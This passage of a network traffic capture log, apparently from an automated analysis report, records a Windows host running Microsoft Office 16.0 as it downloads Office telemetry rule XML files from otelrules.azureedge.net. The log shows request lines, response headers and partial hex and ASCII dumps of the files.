xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:10 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:10 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:10 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 5ce939f7-901e-00ac-7ec7-45b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145310Z-1746fd949bdkw94lhC1EWRxuz400000004fg00000000h0rz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:10 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:10 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:11 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:10 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 4ebcc1fc-101e-0028-09cb-458f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145310Z-1746fd949bdhk6hphC1EWRaw3c000000044000000000ceru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:11 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:10 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:11 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:11 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: cb74d1f3-401e-0029-168a-479b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145311Z-1746fd949bdjrnwqhC1EWRpg2800000004d000000000e37b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:11 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:11 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:11 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:11 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 2e27a562-801e-00a0-79cb-452196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145311Z-1746fd949bdl6zq5hC1EWRf3ws00000003zg00000000gfbu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:11 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:11 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:11 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:11 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 76609676-a01e-0070-74cc-45573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145311Z-1746fd949bdlnsqphC1EWRurw0000000047000000000c2tx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:11 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:12 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:12 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:12 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 1a13e7cb-001e-0049-3bcd-455bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145312Z-1746fd949bd4w8sthC1EWR700400000004600000000053kt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:12 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:12 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:13 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:13 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 88657856-001e-008d-2ccc-45d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145313Z-1746fd949bdjzh7thC1EWR3g64000000049000000000nb0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:13 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:13 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:13 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:13 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 4edcd523-801e-0047-60d3-457265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145313Z-1746fd949bdlnsqphC1EWRurw0000000042g00000000r2t4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:13 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.7	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:13 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:14 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:13 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d3398a04-c01e-007a-0bce-45b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145313Z-1746fd949bdlnsqphC1EWRurw0000000043000000000puwn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:14 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.7	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:14 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:14 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:14 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 4ddf438b-c01e-0049-57cd-45ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145314Z-1746fd949bdlnsqphC1EWRurw0000000045g00000000gwyd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:14 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:15 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:15 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:15 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c8e56ad6-f01e-005d-13cc-4513ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145315Z-1746fd949bdb8xvchC1EWRmbd4000000046g00000000p5sa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:15 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:15 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:15 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:15 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a14128ec-001e-005a-6ec7-45c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145315Z-1746fd949bdfg4slhC1EWR34t0000000045g00000000kb0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
